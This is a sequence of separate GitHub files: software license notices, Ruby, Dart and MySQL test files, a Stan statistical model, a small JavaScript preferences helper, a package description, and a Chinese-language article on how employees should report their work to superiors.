WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
OF THE POSSIBILITY OF SUCH DAMAGE.
NUNIT
Copyright © 2002-2004 James W. Newkirk, Michael C. Two, Alexei A. Vorontsov,
Charlie Poole
Copyright © 2000-2004 Philip A. Craig
This software is provided 'as-is', without any express or implied warranty. In
no event will the authors be held liable for any damages arising from the use
of this software.
Permission is granted to anyone to use this software for any purpose, including
commercial applications, and to alter it and redistribute it freely, subject to
the following restrictions:
1. The origin of this software must not be misrepresented; you must not claim
that you wrote the original software. If you use this software in a product, an
acknowledgment (see the following) in the product documentation is required.
Portions Copyright © 2002 James W. Newkirk, Michael C. Two, Alexei A. Vorontsov
or Copyright © 2000-2002 Philip A. Craig
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
License Note
This license is based on the open source zlib/libpng license. The idea was to
keep the license as simple as possible to encourage use of NUnit in free and
commercial applications and libraries, but to keep the source code together and
to give credit to the NUnit contributors for their efforts. While this license
allows shipping NUnit in source and binary form, if shipping a NUnit variant is
the sole purpose of your product, please let us know.
OFFIS DICOM TOOLKIT
Copyright (C) 1994-2005, OFFIS
This software and supporting documentation were developed by
Kuratorium OFFIS e.V.
Healthcare Information and Communication Systems
Escherweg 2
D-26121 Oldenburg, Germany
THIS SOFTWARE IS MADE AVAILABLE, AS IS, AND OFFIS MAKES NO WARRANTY
REGARDING THE SOFTWARE, ITS PERFORMANCE, ITS MERCHANTABILITY OR
FITNESS FOR ANY PARTICULAR USE, FREEDOM FROM ANY COMPUTER DISEASES OR
ITS CONFORMITY TO ANY SPECIFICATION. THE ENTIRE RISK AS TO QUALITY AND
PERFORMANCE OF THE SOFTWARE IS WITH THE USER.
Copyright of the software and supporting documentation is, unless
otherwise stated, owned by OFFIS, and free access is hereby granted as
a license to use this software, copy this software and prepare
derivative works based upon this software. However, any distribution
of this software source code or supporting documentation or derivative
works (source code and supporting documentation) must include the
three paragraphs of this copyright notice.
POLYGON WINDING ALGORITHM
Copyright 2000 softSurfer, 2012 Dan Sunday
This code may be freely used and modified for any purpose
providing that this copyright notice is included with it.
SoftSurfer makes no warranty for this code, and cannot be held
liable for any real or imagined damage resulting from its use.
Users of this code must verify correctness for their application.
POPUP WINDOW HELPER
Copyright (c) 2002 vbAccelerator.com
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The end-user documentation included with the redistribution, if any,
must include the following acknowledgment:
"This product includes software developed by vbAccelerator
(http://vbaccelerator.com/)."
Alternately, this acknowledgment may appear in the software itself, if
and wherever such third-party acknowledgments normally appear.
4. The names "vbAccelerator" and "vbAccelerator.com" must not be used
to endorse or promote products derived from this software without prior
written permission. For written permission, please contact
vbAccelerator through [email protected].
5. Products derived from this software may not be called
"vbAccelerator", nor may "vbAccelerator" appear in their name, without
prior written permission of vbAccelerator.
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
VBACCELERATOR OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. This software consists of voluntary
contributions made by many individuals on behalf of the vbAccelerator. For more
information, please see http://vbaccelerator.com/.
The vbAccelerator licence is based on the Apache Software Foundation Software
Licence, Copyright (c) 2000 The Apache Software Foundation. All rights
reserved.
SHARPZIPLIB
Copyright (C) 2001 Mike Krueger
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
Linking this library statically or dynamically with other modules is
making a combined work based on this library. Thus, the terms and
conditions of the GNU General Public License cover the whole
combination.
As a special exception, the copyright holders of this library give you
permission to link this library with independent modules to produce an
executable, regardless of the license terms of these independent
modules, and to copy and distribute the resulting executable under
terms of your choice, provided that you also meet, for each linked
independent module, the terms and conditions of the license of that
module. An independent module is a module which is not derived from
or based on this library. If you modify this library, you may extend
this exception to your version of the library, but you are not
obligated to do so. If you do not wish to do so, delete this
exception statement from your version.
STRINGDIFF ALGORITHM
Copyright (C) 1984 by Lloyd Allison, used by permission.
SQL SERVER COMPACT EDITION
Copyright (c) 2012 Microsoft Corp.
Binary-only distribution under Microsoft license terms (see "Licenses" folder).
VTK
Copyright (c) 1993-2008 Ken Martin, Will Schroeder, Bill Lorensen
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names of
any contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
| {
"pile_set_name": "Github"
} |
require File.expand_path("#{File.dirname(__FILE__)}/../../../spec_helper")
module RR
module Expectations
describe TimesCalledExpectation do
context "when using an AtLeastMatcher" do
it_should_behave_like "RR::Expectations::TimesCalledExpectation"
attr_reader :times, :at_least, :expectation
before do
@times = 3
double.definition.at_least(times)
@at_least = double.definition.times_matcher
@expectation = TimesCalledExpectation.new(double)
end
describe "#verify!" do
it "passes when times called > times" do
4.times {expectation.attempt}
expectation.verify!
end
it "passes when times called == times" do
3.times {expectation.attempt}
expectation.verify!
end
it "raises error when times called < times" do
expectation.attempt
lambda do
expectation.verify!
end.should raise_error(
RR::Errors::TimesCalledError,
"foobar()\nCalled 1 time.\nExpected at least 3 times."
)
end
end
describe "#attempt?" do
it "always returns true" do
expectation.should be_attempt
10.times {expectation.attempt}
expectation.should be_attempt
end
end
describe "#attempt!" do
it "passes when times called more than times" do
4.times {expectation.attempt}
end
it "passes when times called == times" do
3.times {expectation.attempt}
end
it "passes when times called < times" do
expectation.attempt
end
end
describe "#terminal?" do
it "returns false" do
expectation.should_not be_terminal
end
end
end
end
end
end | {
"pile_set_name": "Github"
} |
// Copyright (c) 2019, the Dart project authors. Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.
import 'package:analyzer/src/error/codes.dart';
import 'package:test_reflective_loader/test_reflective_loader.dart';
import '../dart/resolution/context_collection_resolution.dart';
main() {
defineReflectiveSuite(() {
defineReflectiveTests(ImplementsDisallowedClassTest);
});
}
@reflectiveTest
class ImplementsDisallowedClassTest extends PubPackageResolutionTest {
test_class_bool() async {
await assertErrorsInCode('''
class A implements bool {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 19, 4),
]);
}
test_class_double() async {
await assertErrorsInCode('''
class A implements double {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 19, 6),
]);
}
test_class_FutureOr() async {
await assertErrorsInCode('''
import 'dart:async';
class A implements FutureOr {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 40, 8),
]);
}
test_class_FutureOr_typeArgument() async {
await assertErrorsInCode('''
import 'dart:async';
class A implements FutureOr<int> {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 40, 13),
]);
}
test_class_FutureOr_typeVariable() async {
await assertErrorsInCode('''
import 'dart:async';
class A<T> implements FutureOr<T> {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 43, 11),
]);
}
test_class_int() async {
await assertErrorsInCode('''
class A implements int {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 19, 3),
]);
}
test_class_Null() async {
await assertErrorsInCode('''
class A implements Null {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 19, 4),
]);
}
test_class_num() async {
await assertErrorsInCode('''
class A implements num {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 19, 3),
]);
}
test_class_String() async {
await assertErrorsInCode('''
class A implements String {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 19, 6),
]);
}
test_class_String_num() async {
await assertErrorsInCode('''
class A implements String, num {}
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 19, 6),
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 27, 3),
]);
}
test_classTypeAlias_bool() async {
await assertErrorsInCode(r'''
class A {}
class M {}
class C = A with M implements bool;
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 52, 4),
]);
}
test_classTypeAlias_double() async {
await assertErrorsInCode(r'''
class A {}
class M {}
class C = A with M implements double;
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 52, 6),
]);
}
test_classTypeAlias_FutureOr() async {
await assertErrorsInCode(r'''
import 'dart:async';
class A {}
class M {}
class C = A with M implements FutureOr;
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 73, 8),
]);
}
test_classTypeAlias_int() async {
await assertErrorsInCode(r'''
class A {}
class M {}
class C = A with M implements int;
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 52, 3),
]);
}
test_classTypeAlias_Null() async {
await assertErrorsInCode(r'''
class A {}
class M {}
class C = A with M implements Null;
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 52, 4),
]);
}
test_classTypeAlias_num() async {
await assertErrorsInCode(r'''
class A {}
class M {}
class C = A with M implements num;
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 52, 3),
]);
}
test_classTypeAlias_String() async {
await assertErrorsInCode(r'''
class A {}
class M {}
class C = A with M implements String;
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 52, 6),
]);
}
test_classTypeAlias_String_num() async {
await assertErrorsInCode(r'''
class A {}
class M {}
class C = A with M implements String, num;
''', [
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 52, 6),
error(CompileTimeErrorCode.IMPLEMENTS_DISALLOWED_CLASS, 60, 3),
]);
}
}
| {
"pile_set_name": "Github"
} |
AIFAD stands for --Automated Induction of Functions over Algebraic
Datatypes-- and improves decision tree learning by supporting
significantly more complex kinds of data. This allows users to more
conveniently describe the data they want to have learnt, which can
improve accuracy and complexity of resulting models.
WWW: https://mmottl.github.io/aifad
| {
"pile_set_name": "Github"
} |
# Stacks: robust regression and ridge regression
# http://mathstat.helsinki.fi/openbugs/Examples/Stacks.html
# Model e) double exponential error ridge regression
data {
int<lower=0> N;
int<lower=0> p;
real Y[N];
matrix[N,p] x;
}
// to standardize the x's
transformed data {
real z[N,p];
real mean_x[p];
real sd_x[p];
for (j in 1:p) {
mean_x[j] <- mean(col(x,j));
sd_x[j] <- sd(col(x,j));
for (i in 1:N)
z[i,j] <- (x[i,j] - mean_x[j]) / sd_x[j];
}
}
parameters {
real beta0;
real beta[p];
real<lower=0> sigmasq;
real<lower=0> phi;
}
transformed parameters {
real<lower=0> sigma;
real mu[N];
sigma <- sqrt(2) * sigmasq;
for (n in 1:N)
mu[n] <- beta0 + beta[1] * z[n, 1] + beta[2] * z[n, 2] + beta[3] * z[n, 3];
}
model {
beta0 ~ normal(0, 316);
phi ~ gamma(0.01, 0.01);
beta ~ normal(0, sqrt(phi));
sigmasq ~ inv_gamma(.001, .001);
for (n in 1:N)
Y[n] ~ double_exponential(mu[n], sigmasq);
}
generated quantities {
real b0;
real b[p];
real outlier_1;
real outlier_3;
real outlier_4;
real outlier_21;
for (j in 1:p)
b[j] <- beta[j] / sd_x[j];
b0 <- beta0 - b[1] * mean_x[1] - b[2] * mean_x[2] - b[3] * mean_x[3];
outlier_1 <- step(fabs((Y[1] - mu[1]) / sigma) - 2.5);
outlier_3 <- step(fabs((Y[3] - mu[3]) / sigma) - 2.5);
outlier_4 <- step(fabs((Y[4] - mu[4]) / sigma) - 2.5);
outlier_21 <- step(fabs((Y[21] - mu[21]) / sigma) - 2.5);
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Sets a preference for the plugin with the given key and value.
*/
export function set(context, key, value) {
let userDefaults = getUserDefaults(context);
userDefaults.setObject_forKey_(JSON.stringify(value), key);
userDefaults.synchronize(); // save
};
/**
* Gets the value for the given preference.
*/
export function get(context, key, defaultValue) {
let userDefaults = getUserDefaults(context);
let storedValue = userDefaults.stringForKey_(key);
try {
let val = JSON.parse(storedValue);
if (val === null || val === undefined) {
return defaultValue;
}
return val;
} catch (e) {
return defaultValue;
}
}
function getUserDefaults(context) {
let pluginId = String(context.plugin.identifier());
return NSUserDefaults.alloc().initWithSuiteName(pluginId);
}
| {
"pile_set_name": "Github"
} |
# 不会汇报工作,还敢拼职场
李宗厚
<!-- MarkdownTOC -->
- “孺子牛”不如“望天猴”!?
- 提高能见度,从“汇报工作”开始
- 汇报原本就是工作的一部分
- 职场新人最好每日一报
- 带着解决方案汇报工作
- 最靠谱的工作观是“干一行爱一行”
- 最理想的工作完成时间是“昨天”
- 最保险的工作态度是“以老板的姿态要求自己”
- 如何应对领导摊派的“硬骨头”
- 花三个月的时间了解领导的习性,超有必要
<!-- /MarkdownTOC -->
## “孺子牛”不如“望天猴”!?
我们很多人都不喜欢向自己的上司汇报工作。要么只顾埋头工作,不知道汇报的重要性,甚至不清楚自己应当汇报什么,以及如何汇报;要么自己的工作没有干好,甚至问题一大堆,不敢面对自己的上司。不论是哪一种情况,这都会让上司对我们的工作不放心,对我们的工作不放心就是对我们的人不放心。对我们的人不放心,定然不会委以重任。不委以重任,我们的“路”也就基本走到头了。 所以,向上司汇报工作,绝不是你先前所料想的那么简单,一个不会汇报工作只闷着脑袋死干活的人,只能成为他人上位的垫脚石,沦为办公室政治的“炮灰”。你愿意做这样的“炮灰”吗?如不愿,请你尽快积极地改变——不当只知道干活的“孺子牛”,勇当会汇报工作的“望天猴”。
## 提高能见度,从“汇报工作”开始
如何提高自己的职场“能见度”,让领导深信你的能力?那就要从开口说话,请示汇报工作开始。其实,仔细观察一下就不难发现,那些被提拔获得升迁机会的同事,都有一个共同的特点:他们很会装乖,很善于向老板汇报自己的工作。甚至有人说过,如果你想报复一个人,只需要阻碍他及时汇报工作就行了。
汇报工作,这是最名正言顺的与老板接触的机会,是最直接的提高“能见度”的方法,一是显得对领导尊重,二是让领导看到你都做了些什么,取得了什么样的成效,方便了领导对工作进度的控制。
向老板汇报成绩是展现自己才华的机会,也是向老板了解各种信息的机会。一般来说,即使和老板相处只是短短的几分钟,也能从老板的表情、话语中得到一些有用的信息,如老板对你的态度,对目前公司处境的态度,对下一步工作进展的预测等等。 相反,不重视这种机会,不仅失去了在老板面前表现自己的时机,还可能给小人以可乘之机。大伟在一家合资企业工作,老板要求他们每周交一份工作总结。有个同事十分“热心”,每次都对他说:“我正好去办公室,就顺便帮你交了吧。”
记住,当你是一个地位低微的小员工时,当你的老板似乎高高在上难以接近时,尤其当你找不到与老板交流的途径时,你可以从向老板汇报成绩开始。
## 汇报原本就是工作的一部分
在西点军校,长官要求学员按时并按一定规范地汇报工作,而且需要简洁明了。学员若对长官不及时汇报工作,或者汇报工作的态度不好,都是破坏了规矩,破坏了学员对长官服从的职责。
## 职场新人最好每日一报
工作汇报是对自己工作的梳理。只有写了工作汇报,才能够了解到自己本日工作的实际情况,才能通过文本方式来理性看待自己的工作方式与技巧,才能从中找到自己的薄弱点,好好弥补加强。因此可以说只有做了工作汇报才能真正地有目的且持续地提升自己。
工作汇报是向上级进行工作总结的一种最有效的方式。通过文本的交流,可以让上级明确自己正在处理的事务进展情况,了解自己遇到的困难,从而利于上级对自己的工作进行指导与协调。
职场工作,总存在许多矛盾与问题,其中很多问题并不是立刻显现而是在日后才出现的。只有每日的工作汇报,保留了工作事务的状态,才能在日后进行查询与追究,使得你能从不必要的“扯皮”中脱身。因此你今日的工作报告其实是为了更好地保护你,更好地节省你的时间。
工作汇报最能反映一个人的职场成长经历。每日的点滴记录汇集起来就是你的职场成长轨迹。通过阅读自己的或别人的每日工作汇报,能充分了解这个人的性格与能力。只有做好每日工作汇报,当你离开职场享受人生的时候,才会有一份沉甸甸的人生记录。
既然每日工作汇报如此重要,职场新手应该如何编写工作汇报呢?我认为,KPT是最好的入门技巧。KPT(Keputo)是来自日本的一种工作记录方法,由三个部分组成
:
+ Keep:当前你正在做的事务或项目的正常描述;
+ Problem:你今日所遇到的问题;
+ Try:你明天准备要尝试的解决方案。
KPT 三个部分就组成了一份清晰明了的工作汇报。这样的汇报既能充分体现你当前的工作状态,又能层次分明地向领导传递工作困难与你的工作能力。因此KPT在日本,乃至其他地区成为工作汇报的基本模板。
## 带着解决方案汇报工作
简单地说,讨教的公式是:您告诉我该怎么做?而汇报的公式则是:我这样做您同意吗?很多人喜欢向上司讨教工作,而不喜欢向上司汇报工作,这是因为不论我们遇到什么样的问题和困难,都可以用一句“您认为这个问题应该怎么办”来轻松搞定。但这却是一个容易惹恼上司,且自讨没趣的办法。
好的下属手里往往会有3个解决方案。如果我们需要就某一项工作先行请示尔后行动的时候,我们必须要有自己的想法和方案,而且至少要有3个方案:最可行的方案,最大胆的方案和最可能失败的方案。而且,对每个方案都要进行利弊分析。当上司征求你的意见时,你要能够提出哪一个方案是可以优先考虑的方案,哪一个是不得已而为之的方案等等。
好的方案一定是守正出奇的。要体现组织的价值追求,体现上司的目标和要求。不能执拗于自我的想法和目标,要与上司在方向和目标上保持一致,“守正”是基本的原则。不能上司提出向东,我们却提出向西,与上司的方向和目标背道而驰。 达成目标的方法和途径是可以变的,要有创意,能够有效地解决问题,能够超越上司的期望和要求。我们会发现同一件事有的人做得好,有的人做得不好,为什么呢?就在于你的方法是不是“出奇”,你有没有别人想不到的方法,也就是俗称的“好点子”。
## 最靠谱的工作观是“干一行爱一行”
总之,无论在什么岗位上,只要我们能用一种积极向上的爱岗敬业精神把“要我做”变为“我要做”,把工作当成是最美好、最神圣的使命,我们的工作肯定会事半功倍。而且,你工作的心情就马上不一样了。我们的企业和单位必将前途一片光明,而我们在企业的发展也必将会前途无限光明
## 最理想的工作完成时间是“昨天”
上司分派你一项任务,且时间很充裕,此时,你会怎么做?
第一类“孩纸”:立即着手进行,认为早干完活儿心里比较踏实。
第二类“孩纸”:心想,时间还很充裕,明天再做吧。认为只要按时完成任务就好。
假如你是第一类“孩纸”,你上班的心情一定比旅行都轻松,假如你是第二类“孩纸”,那你上班的心情绝对比上坟还沉重。
## 最保险的工作态度是“以老板的姿态要求自己”
在现代职场推崇主动性、会思考、能创新的今天,我们若想在职场上保持优势地位,成为卓越职业人,不仅要做到令自己满意、别人满意,而且要站在领导的角度和高度要求自己,甚至是超过老板对自己的期望,并随着企业和自身的发展把自己的标准提高到新的层次。如果一个员工在工作中能够做到比老板更积极主动,他将会征服任何企业的老板,这样的人想不成功也难。
## 如何应对领导摊派的“硬骨头”
看到这里,我们可以得出一个结论,即具有优异的问题解决能力的人就是具备优秀素质的人才。事实上,这样的人才走到哪里都会被企业以礼相迎。原因很简单,几乎所有的企业都欠缺解决问题的高手。
## 花三个月的时间了解领导的习性,超有必要
谨慎冷静型领导 这样的领导对一丝不苟的工作作风甚为欣赏,他们喜欢一份记载详细的工作报告,下属提交给他的工作计划也是越详尽越好。和这种类型的领导相处,你需要思虑得比他更多更细,做方案的时候把方方面面都考虑进去,在汇报的时候还要注意自己的言谈举止并学会把握分寸,就会比较容易获得通过。
妥协懦弱型领导 没有主见、耳根子软是这一类型领导的弱点。他可能很容易接受下属的建议,但同时又可能受别人的影响而有所动摇。因此,遇到这种情况,作为下属的你在汇报工作的时候,除了多向领导阐明自己的观点以外,还可让持相同观点的其他同事向领导进言,以支持自己的观点或计划。
外向豪爽型领导 他会欣赏办事细致的下属,也不反感不拘小节的人。这种类型的领导是一种外向而粗线条的人,对表面的一套并不讲究,更看重的是下属的实际工作能力。对于这种领导,你也可以偶尔粗线条一点。假如我那个小亲戚的领导是这个类型的,相信我们的选题不会是这个命运。
吹毛求疵型领导 百般挑剔是这类领导的特点。如果你不想被弄得神经兮兮,就只有摆正心态不要太介意领导的批评,要知道挑刺只是他的习惯而已。当遭到这类领导的挑剔和批评时,不妨先分析一下,如果领导确有道理,那就按他的要求照办;如果属于无理要求,那就适当采取拖延战术“冷处理”,一旦拖得时间长了,领导也就没有精力再纠缠这些细枝末节了。
性格顽固型领导 这种类型的领导有一个比较明显的特点——固执己见。他们对于下属的解释一概充耳不闻,坚决要求下属依照他的方法处事;一旦下属有反对他的意思或者意见,他就会大加斥责,然后还会责令下属迅速完成他交代的任务。
脾气暴躁型领导 天生脾气暴躁,情绪容易失控是这类领导的最大特点。这样的领导常常为了一些小事、琐事就大发脾气,甚至公开斥责下属,让下属无从招架,难于应付。面对这类领导,我们一定要分析、观察他们发火的原因是什么,总结出其生气的一般规律来,知道了问题的答案,就可以对症下药,防止此类事件重演。
| {
"pile_set_name": "Github"
} |
include CHANGELOG.md
include LICENSE
include README.md
include TODO.rst
include pytest.ini
include tox.ini
recursive-include docs
recursive-include tests
| {
"pile_set_name": "Github"
} |
include/rpl_init.inc [topology=none]
==== Initialize ====
SET GLOBAL ENFORCE_GTID_CONSISTENCY = ON;
CREATE TABLE statements (
id INT PRIMARY KEY AUTO_INCREMENT,
comment VARCHAR(100) NOT NULL,
connection INT,
statement VARCHAR(1000),
gtid_next VARCHAR(100) NOT NULL,
gtid_owned VARCHAR(100) NOT NULL,
anonymous_count INT NOT NULL,
sync_point VARCHAR(100) NOT NULL,
error VARCHAR(100) NOT NULL
) ENGINE = InnoDB;
INSERT INTO statements
(comment, connection, statement, gtid_next, gtid_owned, anonymous_count,
sync_point, error)
VALUES
#comment
#con statement gtid_next gtid_owned count sync error
('Nothing should be owned by default.',
1, '', 'AUTOMATIC', '', 0, '', ''),
('Set gtid_next (automatic->anonymous) acquires ownership.',
1, 'SET GTID_NEXT="ANONYMOUS"', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('Implicit commit releases ownership.',
1, 'CREATE TABLE t1 (a INT)', 'ANONYMOUS', '', 0, '', ''),
('Implicitly committing statement re-acquires ownership.',
1, 'CREATE TABLE t2 (a INT)', '', '', 1, '->before_execute_sql_command', ''),
('Implicitly committing statement releases ownership at the end.',
1, '#CREATE TABLE t2 (a INT)', 'ANONYMOUS', '', 0, 'before_execute_sql_command->', ''),
('Set gtid_next (anonymous->anonymous) acquires ownership.',
1, 'SET GTID_NEXT="ANONYMOUS"', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('Nothing special happens with ownership while inside a transaction.',
1, 'BEGIN', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
1, 'INSERT INTO t1 VALUES (1)', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('Commit releases ownership.',
1, 'COMMIT', 'ANONYMOUS', '', 0, '', ''),
('Begin acquires ownership.',
1, 'BEGIN', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('Commit releases ownership even if nothing executed.',
1, 'COMMIT', 'ANONYMOUS', '', 0, '', ''),
('Rollback releases ownership.',
1, 'BEGIN', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
1, 'ROLLBACK', 'ANONYMOUS', '', 0, '', ''),
('Implicit commit in transaction releases ownership.',
1, 'BEGIN', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
1, 'INSERT INTO t1 VALUES (1)', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
1, 'DROP TABLE t2', 'ANONYMOUS', '', 0, '->after_implicit_pre_commit', ''),
('',
1, '#DROP TABLE t2', 'ANONYMOUS', '', 0, 'after_implicit_pre_commit->', ''),
('Autocommit transaction acquires ownership.',
1, 'INSERT INTO t1 VALUES (1)', '', '', 1, '->before_execute_sql_command', ''),
('Autocommit transaction releases ownership at end.',
1, '#INSERT INTO t1 VALUES (1)', 'ANONYMOUS', '', 0, 'before_execute_sql_command->', ''),
('SET does not acquire ownership.',
1, 'SET AUTOCOMMIT = 0', 'ANONYMOUS', '', 0, '', ''),
('Non-autocommitted DML acquires ownership.',
1, 'INSERT INTO t1 VALUES (1)', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
1, 'INSERT INTO t1 VALUES (1)', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
1, 'ROLLBACK', 'ANONYMOUS', '', 0, '', ''),
('Client disconnect releases ownership.',
1, 'BEGIN', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
1, 'reconnect', 'AUTOMATIC', '', 0, '', ''),
('Ongoing_anonymous_transaction_count > 1 when there are concurrent transactions.',
1, 'SET GTID_NEXT="ANONYMOUS"', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
2, '', 'AUTOMATIC', '', 1, '', ''),
('',
2, 'SET GTID_NEXT="ANONYMOUS"', 'ANONYMOUS', 'ANONYMOUS', 2, '', ''),
('',
3, '', 'AUTOMATIC', '', 2, '', ''),
('',
3, 'SET GTID_NEXT="ANONYMOUS"', 'ANONYMOUS', 'ANONYMOUS', 3, '', ''),
('',
2, 'reconnect', 'AUTOMATIC', '', 2, '', ''),
('',
1, 'COMMIT', 'ANONYMOUS', '', 1, '', ''),
('',
3, 'ROLLBACK', 'ANONYMOUS', '', 0, '', ''),
('Set gtid_next (anonymous->automatic) works.',
1, 'SET GTID_NEXT="AUTOMATIC"', 'AUTOMATIC', '', 0, '', ''),
('Set gtid_next (automatic->automatic) works.',
1, 'SET GTID_NEXT="AUTOMATIC"', 'AUTOMATIC', '', 0, '', ''),
('Can set gtid_mode!=on when Ongoing_anonymous_transaction_count > 0.',
2, 'SET GTID_NEXT="ANONYMOUS"', 'ANONYMOUS', 'ANONYMOUS', 1, '', ''),
('',
1, 'SET GLOBAL GTID_MODE="OFF_PERMISSIVE"','AUTOMATIC', '', 1, '', ''),
('',
1, 'SET GLOBAL GTID_MODE="ON_PERMISSIVE"', 'AUTOMATIC', '', 1, '', ''),
('',
1, 'SET GLOBAL GTID_MODE="ON_PERMISSIVE"', 'AUTOMATIC', '', 1, '', ''),
('',
1, 'SET GLOBAL GTID_MODE="OFF_PERMISSIVE"','AUTOMATIC', '', 1, '', ''),
('',
1, 'SET GLOBAL GTID_MODE="OFF_PERMISSIVE"','AUTOMATIC', '', 1, '', ''),
('',
